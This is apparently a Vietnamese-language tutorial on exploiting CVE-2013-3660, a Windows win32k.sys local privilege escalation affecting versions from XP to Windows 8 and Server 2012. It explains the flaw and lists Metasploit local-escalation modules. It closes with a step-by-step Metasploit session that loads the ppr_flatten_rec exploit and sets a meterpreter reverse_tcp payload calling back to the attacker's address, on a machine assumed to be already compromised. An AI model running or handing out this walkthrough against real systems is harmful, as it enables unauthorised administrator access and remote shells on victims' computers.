Cách thức khai thác lỗ hổng CVE 2013 3660

Việc khởi tạo giá trị con trỏ pointer không được thực hiện chính xác, tạo điều kiện cho khai thác truy xuất vào PATHRECORD và leo thang đặc quyền trên hệ thống bằng cách làm tràn phân tr

Windows EPATHOBJ::pprFlattenRec Local Privilege Escalation

Tham khảo:

CVE-2013-3660

EDB-25912

OSVDB-93539

http://seclists.org/fulldisclosure/2013/May/91

Mô tả:

Trong khai thác này, hacker lợi dụng hàm EPATHOBJ::pprFlattenRec từ tập tin win32k.sys

trong Microsoft Windows XP SP2 và SP3, Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows Server 2012, và Windows RT Việc khởi tạo giá trị con trỏ (pointer) không được thực hiện chính xác, tạo điều kiện cho khai thác truy xuất vào PATHRECORD và leo thang đặc quyền trên hệ thống (bằng cách làm tràn phân trang bộ nhớ và thực hiện gọi hàm FlattenPath liên tục dẫn đến bof trên Windows)

Khai thác:

Giả sử máy tính của mục tiêu bị local thông qua các exploit như: MS08-067, Java bugs, Code execution

… thì quyền hạn mà hacker khai thác được có thể chỉ là Normal User trên hệ thống Windows Để thực hiện khai thác leo thang đặc quyền và vượt qua các cơ chế kiểm tra bảo mật trên các kiến trúc OS hiện đại, ta có thể tham khảo thêm các exploit sau:

exploit/windows/local/adobe_sandbox_adobecollabsync

exploit/windows/local/always_install_elevated

exploit/windows/local/ask

exploit/windows/local/bypassuac

exploit/windows/local/current_user_psexec

exploit/windows/local/ms10_092_schelevator

exploit/windows/local/ms11_080_afdjoinleaf

exploit/windows/local/novell_client_nicm

exploit/windows/local/novell_client_nwfs

exploit/windows/local/payload_inject

Để thực hiện khai thác “Windows EPATHOBJ::pprFlattenRec Local Privilege Escalation”, ta thực hiện như sau:

msf > use exploit/windows/local/ppr_flatten_rec

msf exploit(ppr_flatten_rec) > show payloads

msf exploit(ppr_flatten_rec) > set PAYLOAD windows/meterpreter/reverse_tcp

msf exploit(ppr_flatten_rec) > set LHOST [MY IP ADDRESS]

msf exploit(ppr_flatten_rec) > set SESSION [INTEGER]

msf exploit(ppr_flatten_rec) > exploit